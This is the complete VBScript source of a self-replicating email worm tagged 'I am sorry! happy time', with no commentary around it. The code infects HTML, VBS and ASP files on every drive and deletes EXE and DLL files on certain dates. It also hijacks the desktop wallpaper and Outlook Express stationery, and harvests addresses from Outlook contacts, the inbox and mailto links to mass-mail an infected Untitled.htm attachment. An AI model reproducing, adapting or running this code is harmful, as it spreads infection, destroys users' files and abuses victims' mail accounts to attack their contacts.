| <script language='VBScript'>Rem I am sorry! happy timeOn Error Resume NextmloadSub mload()On Error Resume NextmPath = Grf()Set Os = CreateObject("Scriptlet.TypeLib")Set Oh = CreateObject("Shell.Application")If IsHTML ThenmURL = LCase(document.Location)If mPath = "" ThenOs.ResetOs.Path = "C:/Help.htm"Os.Doc = Lhtml()Os.Write()Ihtml = "<span style='position:absolute'><Iframe src='C:/Help.htm' width='0' height='0'></Iframe></span>"Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)ElseIf Iv(mPath, "Help.vbs") ThensetInterval "Rt()", 10000Elsem = "hta"If LCase(m) = Right(mURL, Len(m)) Thenid = setTimeout("mclose()", 1)mainElseOs.Reset()Os.Path = mPath & "/" & "Help.hta"Os.Doc = Lhtml()Os.write()Iv mPath, "Help.hta"End IfEnd IfEnd IfElsemainEnd IfEnd SubSub main()On Error Resume NextSet Of = CreateObject("Scripting.FileSystemObject")Set Od = CreateObject("Scripting.Dictionary")Od.Add "html", "1100"Od.Add "vbs", "0100"Od.Add "htm", "1100"Od.Add "asp", "0010"Ks = "HKEY_CURRENT_USER/Software/"Ds = Grf()Cs = Gsf()If IsVbs ThenIf Of.FileExists("C:/help.htm") ThenOf.DeleteFile ("C:/help.htm")End IfKey = CInt(Month(Date) + Day(Date))If Key = 13 ThenOd.RemoveAllOd.Add "exe", "0001"Od.Add "dll", "0001"End IfCn = Rg(Ks & "Help/Count")If Cn = "" ThenCn = 1End IfRw Ks & "Help/Count", Cn + 1f1 = Rg(Ks & "Help/FileName")f2 = FNext(Of, Od, f1)fext = GetExt(Of, Od, f2)Rw Ks & "Help/FileName", f2If IsDel(fext) Thenf3 = f2f2 = FNext(Of, Od, f2)Rw Ks & "Help/FileName", f2Of.DeleteFile f3ElseIf LCase(WScript.ScriptFullname) <> LCase(f2) ThenFw Of, f2, fextEnd IfEnd IfIf (CInt(Cn) Mod 366) = 0 ThenIf (CInt(Second(Time)) Mod 2) = 0 ThenTsendElseadds = OgMsend (adds)End IfEnd Ifwp = Rg("HKEY_CURRENT_USER/Control Panel/desktop/wallPaper")If Rg(Ks & "Help/wallPaper") <> wp Or wp = "" ThenIf wp = "" Thenn1 = ""n3 = Cs & "/Help.htm"ElsemP = Of.GetFile(wp).ParentFoldern1 = Of.GetFileName(wp)n2 = Of.GetBaseName(wp)n3 = Cs & "/" & n2 & ".htm"End IfSet pfc = Of.CreateTextFile(n3, True)mt = Sa("1100")pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mtpfc.CloseRw Ks & "Help/wallPaper", n3Rw "HKEY_CURRENT_USER/Control Panel/desktop/wallPaper", n3End IfElseSet fc = Of.CreateTextFile(Ds & "/Help.vbs", True)fc.Write Sa("0100")fc.Closebf = Cs & "/Untitled.htm"Set fc2 = Of.CreateTextFile(bf, True)fc2.Write Lhtmlfc2.Closeoeid = Rg("HKEY_CURRENT_USER/Identities/Default User ID")oe = "HKEY_CURRENT_USER/Identities/" & oeid & "/Software/Microsoft/Outlook Express/5.0/Mail"MSH = oe & "/Message Send HTML"CUS = oe & "/Compose Use Stationery"SN = oe & "/Stationery Name"Rw MSH, 1Rw CUS, 1Rw SN, bfWeb = Cs & "/WEB"Set gf = Of.GetFolder(Web).FilesOd.Add "htt", "1100"For Each m In gffext = GetExt(Of, Od, m)If fext <> "" ThenFw Of, m, fextEnd IfNextEnd IfEnd SubSub mclose()document.Write "<" & "title>I am sorry!</title" & ">"window.CloseEnd SubSub Rt()Dim mPathOn Error Resume NextmPath = Grf()Iv mPath, "Help.vbs"End SubFunction Sa(n)Dim VBSText, mVBSText = Lvbs()If Mid(n, 3, 1) = 1 Thenm = "<%" & VBSText & "%>"End IfIf Mid(n, 2, 1) = 1 Thenm = VBSTextEnd IfIf Mid(n, 1, 1) = 1 Thenm = Lscript(m)End IfSa = m & vbCrLfEnd FunctionSub Fw(Of, S, n)Dim fc, fc2, m, mmail, mtOn Error Resume NextSet fc = Of.OpenTextFile(S, 1)mt = fc.ReadAllfc.CloseIf Not Sc(mt) Thenmmail = Ml(mt)mt = Sa(n)Set fc2 = Of.OpenTextFile(S, 8)fc2.Write mtfc2.CloseMsend (mmail)End IfEnd SubFunction Sc(S)mN = "Rem I am sorry! happy time"If InStr(S, mN) > 0 ThenSc = TrueElseSc = FalseEnd IfEnd FunctionFunction FNext(Of, Od, S)Dim fpath, fname, fext, T, gfOn Error Resume Nextfname = ""T = FalseIf Of.FileExists(S) Thenfpath = Of.GetFile(S).ParentFolderfname = SElseIf Of.FolderExists(S) Thenfpath = ST = TrueElsefpath = Dnext(Of, "")End IfDo While TrueSet gf = Of.GetFolder(fpath).FilesFor Each m In gfIf T ThenIf GetExt(Of, Od, m) <> "" ThenFNext = mExit FunctionEnd IfElseIf LCase(m) = LCase(fname) Or fname = "" ThenT = TrueEnd IfNextfpath = Pnext(Of, fpath)LoopEnd FunctionFunction Pnext(Of, S)On Error Resume NextDim Ppath, Npath, gp, pn, T, mT = FalseIf Of.FolderExists(S) ThenSet gp = Of.GetFolder(S).SubFolderspn = gp.CountIf pn = 0 ThenPpath = LCase(S)Npath = LCase(Of.GetParentFolderName(S))T = TrueElseNpath = LCase(S)End IfDo While Not ErFor Each pn In Of.GetFolder(Npath).SubFoldersIf T ThenIf Ppath = LCase(pn) ThenT = FalseEnd IfElsePnext = LCase(pn)Exit FunctionEnd IfNextT = TruePpath = LCase(Npath)Npath = Of.GetParentFolderName(Npath)If Of.GetFolder(Ppath).IsRootFolder Thenm = Of.GetDriveName(Ppath)Pnext = Dnext(Of, m)Exit FunctionEnd IfLoopEnd IfEnd FunctionFunction Dnext(Of, S)Dim dc, n, d, T, mOn Error Resume NextT = Falsem = ""Set dc = Of.DrivesFor Each d In dcIf d.DriveType = 2 Or d.DriveType = 3 ThenIf T ThenDnext = dExit FunctionElseIf LCase(S) = LCase(d) ThenT = TrueEnd IfIf m = "" Thenm = dEnd IfEnd IfEnd IfNextDnext = mEnd FunctionFunction GetExt(Of, Od, S)Dim fextOn Error Resume Nextfext = LCase(Of.GetExtensionName(S))GetExt = Od.Item(fext)End FunctionSub Rw(k, v)Dim ROn Error Resume NextSet R = CreateObject("WScript.Shell")R.RegWrite k, vEnd SubFunction Rg(v)Dim ROn Error Resume NextSet R = CreateObject("WScript.Shell")Rg = R.RegRead(v)End FunctionFunction IsVbs()Dim ErrTestOn Error Resume NextErrTest = WScript.ScriptFullnameIf Err ThenIsVbs = FalseElseIsVbs = TrueEnd IfEnd FunctionFunction IsHTML()Dim ErrTestOn Error Resume NextErrTest = document.LocationIf Er ThenIsHTML = FalseElseIsHTML = TrueEnd IfEnd FunctionFunction IsMail(S)Dim m1, m2IsMail = FalseIf InStr(S, vbCrLf) = 0 Thenm1 = InStr(S, "@")m2 = InStr(S, ".")If m1 <> 0 And m1 < m2 ThenIsMail = TrueEnd IfEnd IfEnd FunctionFunction Lvbs()Dim f, m, ws, OfOn Error Resume NextIf IsVbs ThenSet Of = CreateObject("Scripting.FileSystemObject")Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)Lvbs = f.ReadAllElseFor Each ws In document.scriptsIf LCase(ws.Language) = "vbscript" ThenIf Sc(ws.Text) ThenLvbs = ws.TextExit FunctionEnd IfEnd IfNextEnd IfEnd FunctionFunction Iv(mPath, mName)Dim ShellOn Error Resume NextSet Shell = CreateObject("Shell.Application")Shell.NameSpace(mPath).Items.Item(mName).InvokeVerbIf Er ThenIv = FalseElseIv = TrueEnd IfEnd FunctionFunction Grf()Dim Shell, mPathOn Error Resume NextSet Shell = CreateObject("Shell.Application")mPath = "C:/"For Each mShell In Shell.NameSpace(mPath).ItemsIf mShell.IsFolder ThenGrf = mShell.PathExit FunctionEnd IfNextIf Er ThenGrf = ""End IfEnd FunctionFunction Gsf()Dim Of, mOn Error Resume NextSet Of = CreateObject("Scripting.FileSystemObject")m = Of.GetSpecialFolder(0)If Er ThenGsf = "C:/"ElseGsf = mEnd IfEnd FunctionFunction Lhtml()Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _"<" & "/Body></HTML" & ">"End FunctionFunction Lscript(S)Lscript = "<" & "script language='VBScript'>" & vbCrLf & _S & "<" & "/script" & ">"End FunctionFunction Sl(S1, S2, n)Dim l1, l2, l3, il1 = Len(S1)l2 = Len(S2)i = InStr(S1, S2)If i > 0 Thenl3 = i + l2 - 1If n = 0 ThenSl = Left(S1, i - 1)ElseIf n = 1 ThenSl = Right(S1, l1 - l3)End IfElseSl = ""End IfEnd FunctionFunction Ml(S)Dim S1, S3, S2, T, adds, mS1 = SS3 = """"adds = ""S2 = S3 & "mailto" & ":"T = TrueDo While TS1 = Sl(S1, S2, 1)If S1 = "" ThenT = FalseElsem = Sl(S1, S3, 0)If IsMail(m) Thenadds = adds & m & vbCrLfEnd IfEnd IfLoopMl = Split(adds, vbCrLf)End FunctionFunction Og()Dim i, n, m(), Om, OoSet Oo = CreateObject("Outlook.Application")Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Itemsn = Om.CountReDim m(n)For i = 1 To nm(i - 1) = Om.Item(i).Email1AddressNextOg = mEnd FunctionSub Tsend()Dim Od, MS, MM, a, mSet Od = CreateObject("Scripting.Dictionary")MConnect MS, MMMM.FetchSorted = TrueMM.FetchFor i = 0 To MM.MsgCount - 1MM.MsgIndex = ia = MM.MsgOrigAddressIf Od.Item(a) = "" ThenOd.Item(a) = MM.MsgSubjectEnd IfNextFor Each m In Od.KeysMM.ComposeMM.MsgSubject = "Fw: " & Od.Item(m)MM.RecipAddress = mMM.AttachmentPathName = Gsf & "/Untitled.htm"MM.SendNextMS.SignOffEnd SubFunction MConnect(MS, MM)Dim UOn Error Resume NextSet MS = CreateObject("MSMAPI.MAPISession")Set MM = CreateObject("MSMAPI.MAPIMessages")U = Rg("HKEY_CURRENT_USER/Software/Microsoft/Windows Messaging Subsystem/Profiles/DefaultProfile")MS.UserName = UMS.DownLoadMail = FalseMS.NewSession = FalseMS.LogonUI = TrueMS.SignOnMM.SessionID = MS.SessionIDEnd FunctionSub Msend(Address)Dim MS, MM, i, aMConnect MS, MMi = 0MM.ComposeFor Each a In AddressIf IsMail(a) ThenMM.RecipIndex = iMM.RecipAddress = ai = i + 1End IfNextMM.MsgSubject = " Help "MM.AttachmentPathName = Gsf & "/Untitled.htm"MM.SendMS.SignOffEnd SubFunction Er()If Err.Number = 0 ThenEr = FalseElseErr.ClearEr = TrueEnd IfEnd FunctionFunction IsDel(S)If Mid(S, 4, 1) = 1 ThenIsDel = TrueElseIsDel = FalseEnd IfEnd Function</script> |
